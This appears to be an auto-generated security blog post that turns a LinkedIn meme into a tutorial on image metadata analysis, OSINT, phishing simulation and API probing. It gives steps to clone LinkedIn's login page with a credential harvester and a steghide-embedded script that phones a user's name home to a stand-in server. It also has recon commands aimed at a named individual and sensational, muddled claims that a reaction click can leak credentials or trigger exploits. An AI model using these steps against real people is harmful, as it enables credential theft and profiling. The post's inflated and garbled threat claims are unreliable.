UNDERCODE TESTING Exposed: Why Your LinkedIn “Funny” Reaction Could Be a Cyber Trap

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Introduction:

Social media posts that appear as harmless memes or jokes—like the “Pretty accurate XD” image shared on LinkedIn—often carry hidden risks. Cybersecurity professionals increasingly warn that even a simple reaction (like a “funny” or “like” click) can leak behavioral data, while shared images may embed metadata or trigger drive‑by exploits. Understanding how to test, analyze, and harden these attack surfaces is critical for both individuals and organizations.

Learning Objectives:

  • Identify and extract hidden metadata from shared social media images using OSINT tools.
  • Simulate a social‑engineering attack that leverages LinkedIn posts and reactions.
  • Implement technical countermeasures (Linux/Windows commands, API security checks, and privacy hardening) to protect against reconnaissance via professional networks.

You Should Know:

  1. Decoding the “UNDERCODE” Reference: What That LinkedIn Image May Really Contain

The post you saw includes a graphic with a “graphical user interface, application” – likely a screenshot of a security testing dashboard or a phishing simulation tool. Attackers often embed such images with steganographic data or hidden URLs. To analyze any suspicious image shared on LinkedIn, use these commands:

Linux (exiftool, strings, binwalk):

 Extract all metadata (EXIF, GPS, software signatures)
exiftool suspicious_image.png

Search for embedded text or URLs
strings suspicious_image.png | grep -E "http|https|@"

Detect hidden files/archives inside the image
binwalk -e suspicious_image.png

Windows (PowerShell + built‑in tools):

 Get basic file properties
Get-ItemProperty -Path "C:\path\to\image.png" | Format-List

Search for readable strings (similar to Linux <code>strings</code>)
Select-String -Path "C:\path\to\image.png" -Pattern "http://|https://|www\."

Step‑by‑step guide:

  1. Download the image from LinkedIn (right‑click → “Save image as”).
  2. Run `exiftool` to check for software names (e.g., “SET”, “Evilginx”, “UNDERCODE”).
  3. If a URL is found, do not open it directly – use `curl -I` or a sandboxed browser.
  4. Use `binwalk` to see if the image contains a zip/rar payload. This is a common way to deliver training exercises – or real malware disguised as a “test”.

  5. The Hidden Metadata in Shared Images: A Step‑by‑Step OSINT Lab

Every image uploaded to LinkedIn is re‑compressed and stripped of most EXIF by LinkedIn’s CDN, but the original file shared in a private message or external link may retain GPS coordinates, camera model, and even usernames. Here is how to build a miniature OSINT lab to test this:

Setup (Linux):

 Install required tools
sudo apt update && sudo apt install exiftool steghide foremost

Create a working directory
mkdir ~/osint_image_lab && cd ~/osint_image_lab

Step‑by‑step guide:

  1. Extract visible metadata – exiftool -a -u image.jpg. Look for “Creator”, “Author”, “GPS Position”.
  2. Recover deleted data – foremost -i image.jpg -o recovered. Foremost carves out embedded JPEGs, PDFs, or ZIPs.
  3. Steganography detection – `steghide info image.jpg` (if a passphrase is required, the image likely hides data).
  4. Windows alternative: Download “Exif Pilot” (free) or use PowerShell: 
    Add-Type -AssemblyName System.Drawing
$img = [System.Drawing.Image]::FromFile("C:\path\image.jpg")
$img.PropertyItems | ForEach-Object { $_.Id }
  5. Interpret results – Any unexpected binary blobs or URLs pointing to non‑LinkedIn domains (e.g., undercode-testing[.]com) should be treated as a potential IoC.

  6. Building a Defensive OSINT Lab: Simulate What an Attacker Sees

To understand how a “funny” reaction can be weaponized, set up a controlled environment to gather public data from LinkedIn profiles (like Tony Moukbel’s 57 certifications or the “UNDERCODE TESTING” mention).

Linux commands for passive reconnaissance (legal, educational use):

 Gather email addresses associated with a domain
theHarvester -d linkedin.com -b linkedin -l 500

Find subdomains (often used for phishing login pages)
sublist3r -d examplecompany.com

Check if an email has been leaked
holehe [email protected]

Windows (WSL or PowerShell):

 Invoke-WebRequest to scrape public profiles (respect robots.txt)
Invoke-WebRequest -Uri "https://www.linkedin.com/in/tonymoukbel" -Headers @{"User-Agent"="Mozilla/5.0"} -UseBasicParsing

Step‑by‑step guide to defend against this:

  1. Run the above commands against your own public data (with permission).
  2. Note how much information (certifications, job history, connections) is exposed.
  3. Use LinkedIn’s “Visibility of your LinkedIn profile” settings to restrict search engines and non‑connections.
  4. For corporate accounts, enforce a policy that no employee posts screenshots of internal dashboards (like “UNDERCODE TESTING”) without sanitization.

  5. Simulating a Social Engineering Attack Using the SET Toolkit

The “Pretty accurate XD” post could be a real phishing lure. Attackers clone legitimate LinkedIn interfaces to steal credentials. Use the Social‑Engineer Toolkit (SET) to test your organization’s awareness.

Installation & launch (Linux):

sudo apt install setoolkit
sudo setoolkit

Step‑by‑step guide to create a LinkedIn clone:

  1. From SET menu, choose `1) Social-Engineering Attacks` → `2) Website Attack Vectors` → 3) Credential Harvester Attack Method.

2. Select `2) Site Cloner`.

  1. Enter the IP address of your attacking machine (or use ngrok).
  2. Provide the target URL: `https://www.linkedin.com/login` (or a specific post’s URL).
  3. SET will clone the page and start a credential harvester.
  4. Share the cloned link with consenting trainees – when they enter a “funny” reaction, they actually submit their credentials to your test server.
  5. Review the harvested data (stored in /var/www/html). This demonstrates how one click on a meme can compromise an account.

Windows alternative: Use Evilginx2 (requires WSL or Docker) for advanced reverse‑proxy attacks.

  1. Hardening LinkedIn Privacy Settings Against OSINT & API Abuse

Even without clicking malicious images, attackers can use LinkedIn’s public API (or scrapers) to build profiles. Here is a step‑by‑step checklist to harden your settings:

Step‑by‑step guide:

  1. Visibility – Go to “Settings & Privacy” → “Visibility” → “Profile viewing options” – set to “Anonymous” to avoid leaking your own reactions.
  2. Data sharing – Disable “Partner services and data sharing” under “Data privacy”.
  3. Profile discovery – Turn off “Show your profile in search engines outside of LinkedIn”.
  4. Session management – Under “Security”, review “Where you’re signed in” and revoke any unknown devices.
  5. API token check – Use a browser’s developer tools (F12 → Network tab) while on LinkedIn. Look for requests to `api.linkedin.com` that include a `Bearer` token. Never paste this token into any third‑party “testing” tool.
  6. Windows/Linux command to check for leaked tokens – 
    Search your system for possible LinkedIn tokens in cleartext
grep -r "AQED" ~/.config/ 2>/dev/null  Linux
findstr /s "AQED" %USERPROFILE%\AppData.txt  Windows

  7. The 57 Certifications Path: What “UNDERCODE TESTING” Really Means for Training

The profile mentions “57 Certifications in Cybersecurity, Forensics, Programming & Electronics Dev.” – a clear indicator of continuous learning. To replicate this rigor, focus on hands‑on testing platforms rather than just multiple‑choice exams.

Recommended free/low‑cost training resources (extracted from common cybersecurity feeds):
– UNDERCODE (if it exists) – search GitHub for “undercode testing framework”.
– TryHackMe – Rooms like “Social Engineering”, “OSINT”, “Metadata Analysis”.
– Hack The Box – Machines focusing on image steganography and API abuse.
– Coursera / edX – “Cybersecurity Fundamentals” (Rochester), “AI for Cybersecurity” (Stanford).

Step‑by‑step to build your own testing lab:

1. Install VirtualBox or VMware.

  1. Deploy Kali Linux (attacker) and Windows 10 (victim) VMs.
  2. Clone the “UNDERCODE” scenario: create a fake LinkedIn post image with embedded `curl` command that, when clicked, phones home. 
    Create a simple payload
echo '!/bin/bash\ncurl -X POST https://your-server.com/log --data "user=$USER"' > payload.sh
steghide embed -cf innocent.jpg -ef payload.sh -p "testpassword"
  3. Test detection – run `exiftool` and `binwalk` on the new image. Can your antivirus catch it?
  4. Document the results – this mimics a real “UNDERCODE TESTING” exercise.

  5. API Security for Social Platforms: Testing LinkedIn Endpoints for Info Leakage

Attackers rarely use the GUI; they script API calls. Use `curl` to test what public data is accessible without authentication (rate‑limit respect is mandatory).

Linux commands (educational, against public endpoints only):

 Check if a profile’s public data is exposed via old API versions
curl -H "X-Restli-Protocol-Version: 2.0.0" \
"https://www.linkedin.com/voyager/api/identity/profiles/tonymoukbel"
 (Expect 403 or redirect – but misconfigurations happen)

Test for CORS misconfiguration
curl -H "Origin: https://evil.com" -I "https://www.linkedin.com"

Windows (PowerShell) equivalent:
Invoke-WebRequest -Uri "https://www.linkedin.com/in/tonymoukbel" -Headers @{"Origin"="https://evil.com"} -Method OPTIONS

Step‑by‑step API hardening guide:

  1. For developers building LinkedIn integrations – never store access tokens in client‑side code.
  2. Use `Content-Security-Policy` header to block unauthorized iframes (prevents clickjacking the “funny” button).
  3. Monitor `/.well-known/security.txt` on your own domain. LinkedIn has one – check it for disclosure policies.
  4. If you find a real API leak (e.g., internal IPs in a response), report it via LinkedIn’s bug bounty program.

What Undercode Say:

  • Key Takeaway 1: A single “funny” reaction or shared image on LinkedIn can be the entry point for a multi‑stage attack – from metadata extraction to credential harvesting. Always treat social media content as an untrusted input.
  • Key Takeaway 2: The “57 certifications” mindset is not about quantity but about hands‑on testing. Use the Linux/Windows commands and SET simulations provided above to build a repeatable testing lab. Do not rely on LinkedIn’s default privacy settings; actively harden them.

Analysis: The original post’s light‑hearted “Pretty accurate XD” masks a deeper truth: cybersecurity testing (“UNDERCODE”) is now embedded in everyday social interactions. Attackers leverage human emotions (humor, likes) to bypass technical controls. The commands and steps we’ve outlined turn that meme into a practical checklist. By extracting metadata, simulating clones, and auditing API endpoints, professionals can move from passive scrolling to active defense. Remember: every image, reaction, and profile view is a potential data point. Test your own exposure today – before someone else does.

Prediction:

Within 12 months, we will see the first major data breach traced back to a LinkedIn “reaction” click that triggered a steganographic payload hidden inside a meme image. Enterprises will mandate image‑sanitization proxies for all social media traffic, and platforms like LinkedIn will introduce mandatory EXIF stripping and client‑side clickjacking defenses. Meanwhile, training courses will pivot from generic certifications to “social‑media OSINT resistance” – making “UNDERCODE TESTING” a standard part of every security awareness program.

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Reported By: Aliabbask Pretty – Hackers Feeds
Extra Hub: Undercode MoN
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